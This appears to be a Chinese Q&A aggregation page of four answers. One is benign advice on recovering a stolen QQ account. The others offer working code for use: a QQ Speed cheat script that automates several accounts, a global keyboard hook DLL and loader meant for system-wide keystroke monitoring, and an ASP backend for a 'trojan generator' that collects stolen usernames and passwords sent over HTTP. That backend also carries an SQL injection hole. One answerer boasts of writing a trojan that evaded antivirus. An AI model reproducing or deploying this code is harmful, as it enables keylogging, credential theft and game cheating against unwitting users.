本文目录一览：
- 1、qq被源代码盗号还能找回么？
- 2、跪求QQ飞车辅助源码，好多辅助都是改的界面，其实是1个G，是哪个G啊？求那个G的源码！20分
- 3、求c语言控制台程序下的SetWindowHookEx源码，本人欲用c语言写一个键盘钩子全盘监视的程序，不知怎么写，
- 4、用易语言做生成器用的ASP木马源码
qq被源代码盗号还能找回么？
源代码是什么恐怕你都不理解，你以为是一大串你看不懂的字母吗？不是的，这个是编程语言，C语言、Java语言等等都属于编程语言，甚至连二进制等，这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的，即使计算机之父来了也不能。
说那些源代码你很难理解，就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉，拿出你有力的证据，自己证明这个号是你自己的，只有你自己能证明了，号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了，也可以依赖实名制找回。没有实名制，也没有手机号，啥都没有，连你自己都不能证明，还如何让别人甚至客服相信你，这还不如说天上那辆飞机是我的，你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么，我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以，不过智商有点太低了。就这样的骗子，我要是愿意，随便挖个坑让骗子往里跳，送进去监狱改造改造，猖狂。
跪求QQ飞车辅助源码，好多辅助都是改的界面，其实是1个G，是哪个G啊？求那个G的源码！20分
我叫小龙 我的QQ 9743 9217 我送你源码吧 不懂的可以来问我
//密码：520
下面就是源码
//以下是帖子的源码、
//注：紫色字体都是可以修改的提示话语
//============================================================
//注册大漠
//释放附件
PutAttachment ".\plugin","regDll.dll"
PutAttachment "C:\test_game","*.bmp"
PutAttachment "C:\test_game","*.txt"
PutAttachment "C:\test_game","dm.dll"
//大漠注册
Call Plugin.RegDll.Reg("C:\test_game\dm.dll")
set aa = createobject("dm.dmsoft")
//指定 全局路径
aa.SetPath "C:\test_game"
Delay 40
//获取鼠标指向的窗口句柄
hwnd = aa.GetMousePointWindow()
//激活该窗口
aa_ret = aa.SetWindowState(hwnd, 1)
//窗口置顶
//绑定窗口句柄
aa_ret = aa.BindWindow(hwnd, "dx", "dx", "dx", 1)
Delay 200
//创建一个对象（aa），并检查对象是否创建成功
If aa_ret=0 Then
MessageBox "绑定“失败”"
ExitScript
End If
//多线程控制小号
BeginThread min
//大号脚本编写包括（移动游戏窗口、准备、开始）
Delay 100
//移动游戏窗口到屏幕0，0位置（这里0，0自己可以修改例如-300，0|-200，0|-100，0 随便改都可以）
aa.MoveWindow hwnd, 0, 0
Delay 500
Rem 大准备
aa_ret = aa.FindPic(0,0,1024,768,"打开.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.Moveto 495,127
Delay 100
aa.LeftClick
Else
End If
//大号中的“一次找图”，判断是否开始游戏
aa_ret = aa.FindPic(0,0,1024,768,"确定.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
aa.MoveTo 310,342
Delay 100
aa.LeftClick
Else
aa_ret = aa.FindPic(477,383,590,448,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keyUp 87
aa.KeyDown 68
Delay 2000
aa.keyup 68
End If
//大号中的“二次找图”判断是否开始游戏
aa_ret = aa.FindPic(0,0,1024,768,"准备.bmp|开始游戏.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.Moveto 64, 19
Delay 100
aa.LeftClick
Delay 300
Else
Goto 检测1
End If
End If
Goto 大准备
//大号开始跑了
Rem 检测1
aa.KeyDown 87
Delay 100
aa.keypress 69
Delay 100
aa.keypress 32
aa_ret = aa.FindPic(0,0,1024,768,"d.bmp|b.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keypress 82
Else
aa_ret = aa.FindPic(477,383,590,448,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keyUp 87
aa.KeyDown 68
Delay 2000
aa.keyup 68
End If
End If
Goto 大准备
//小号跑前准备、呵呵
Sub min()
set cc = createobject("dm.dmsoft")
//↑大漠•注册
cc.SetPath "C:\test_game"
Delay 40
//小号标题名称（支持模糊查找、、例如我这里也可以用“忘记时间”）
hwnd = cc.FindWindow("", "忘记时间爱你")
cc_ret = cc.SetWindowState(hwnd, 1)
// display: dx 鼠标:windows后台 键盘:windows后台 模式1
cc_ret = cc.BindWindow(hwnd, "dx", "dx", "dx", 1)
Delay 100
If cc_ret=0 Then
MessageBox "绑定“失败”"
ExitScript
End If
//脚本编写包括（移动游戏窗口、准备、开始）
Delay 100
//移动游戏窗口到屏幕0，0位置（这里0，300自己可以修改例如-300，300|-400，200|-100，200 随便改）
cc.MoveWindow hwnd, 0, 300
Delay 500
Rem 小准
cc_ret = cc.FindPic(0,0,1024,768,"打开.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.Moveto 495,127
Delay 200
cc.LeftClick
Else
End If
cc_ret = cc.FindPic(484,386,587,437,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyUp 87
cc.keyDown 68
Delay 2000
cc.KeyUp 68
End If
//小号中的“一次找图”，判断是否开始游戏
Delay 200
cc_ret = cc.FindPic(0,0,1024,768,"确定.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
cc.MoveTo 322,342
Delay 200
cc.LeftClick
Else
cc_ret = cc.FindPic(0,0,1024,768,"准备.bmp|开始游戏.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
cc.moveto 55, 21
Delay 200
cc.leftclick
Else
Goto 检测2
End If
End If
Goto 小准
Rem 检测2
cc.KeyDown 87
Delay 100
cc.keypress 69
Delay 100
cc.keypress 32
cc_ret = cc.FindPic(0,0,1024,768,"x.bmp|b.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyPress 82
Else
cc_ret = cc.FindPic(484,386,587,437,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyUp 87
cc.keyDown 68
Delay 2000
cc.KeyUp 68
End If
End If
Goto 小准
End Sub
//绑定之后，必须加上“这段代码”
//停止“主程序”和“每个线程”时，都会调用“这段代码”
Sub OnScriptExit()
aa_ret = aa.UnBindWindow()
End Sub
求c语言控制台程序下的SetWindowHookEx源码，本人欲用c语言写一个键盘钩子全盘监视的程序，不知怎么写，
呵呵，看了你问题和跟一楼的问答，我倍感欣慰！
对你的好学与追求，凡事自己动手的特质感到高兴！
我就给你一点提示吧，希望你能用的上！
道理，理论就不提了，我想你应该清楚，因为你是专业搞软件的，而我只是的爱好者，我想你比我
还要清楚！
那么现在说一下程序吧，因为编程爱好者的语言就是程序！
首先，我想驱动级的汇编处的程序，应该对你的难度太大了，我也没有精力给你写出这样的源码。
现在走个捷径，就是用系统api，不过360等杀毒软件可能会杀掉的你程序，因为我们写的代码对于
专业杀毒软件来说，实在是没什么秘密。我曾经用api写了一个木马病毒，建了两个守护进程，并用
各种方式马天过海，瑞星垃圾被骗过去，但我的程序终结在了360那里，因为它有个云端杀毒，最后
还是被查杀了！
你的问题，需要用到一个全局钩子，并建立一个dll
HHOOK WINAPI SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId)
首先int idHook指明安装钩子的类型，WH_KEYBOARD(键盘钩子）
其次，建立钩子处理函数LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam)
然后，hmod是钩子函数所在模块的句柄，dwThreadId是线程ID，待监视消息的ID，如果为0，则为全局钩子，
给你个示例代码模型吧
#include "stdafx.h"
#includewindows.h
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
HMODULE WINAPI ModuleFromAddress(PVOID pv) //该函数根据内存地址，获得其所在的模块句柄
{
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(pv,mbi,sizeof(mbi));
return (HMODULE)mbi.AllocationBase;
}
LRESULT CALLBACK HookKey(int nCode,WPARAM wParam,LPARAM lParam)
//关键的地方（回调函数）,这是 钩子处理函数，详细的功能参数自己去查吧
这样当按下了一个键后，接收该按键消息的进程，会先去执行钩子处理函数，然后再处理消息，
而钩子处理函数的几个参数说明了按键的详细信息，如按了哪个键，是按下（KEYDOWN）还是松开（KEYUP）。
{
这里写你的处理方案，比如用api发消息给某个窗口，发送连续n个字符等，这你会吧！
return TRUE; //返回真，截获了消息，
19 }
20 extern "C" __declspec(dllexport) void SetHook(void)
21 {
22 SetWindowsHookEx(WH_KEYBOARD,HookKey,ModuleFromAddress(HookKey),0);
23 }
生成dll文件。
下面是使用dll的程序
#includewindows.h
int main()
{
HMODULE hMod=LoadLibrary("KeyDll.dll");
typedef void(*pSetHook)(void);
pSetHook SetHook=(pSetHook)GetProcAddress(hMod,"SetHook");
SetHook();
while(1)
{
Sleep(1000); //避免程序结束，自动释放动态链接库
}
return 0;
}
用易语言做生成器用的ASP木马源码
ASP很简单的，弄个简单数据库ZH.MDB就用户名和密码两个字段，
%
dim conn
dim connstr
connstr="DBQ="+server.mappath("ZH.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
username=request("username")
password=request("password")
qq=request("qq")
email=request("email")
tuijianren=request("tuijianren")
set rs=server.createobject("adodb.recordset")
sql="select * from user_msg where [用户名]='" username "'"
rs.open sql,conn,1,3
if not (rs.eof and rs.bof) then
response.write "ER！"
else
sql="insert into user_msg ([用户名],[密码]) values ('" username "','" password "')"
conn.execute( sql)
response.write "OK！"
end if
%
然后用HTTP读文件（“？username=编辑框1.内容password=bjk2.nr”,,）
就好了，没安装易语言，你可以改一下就可以用了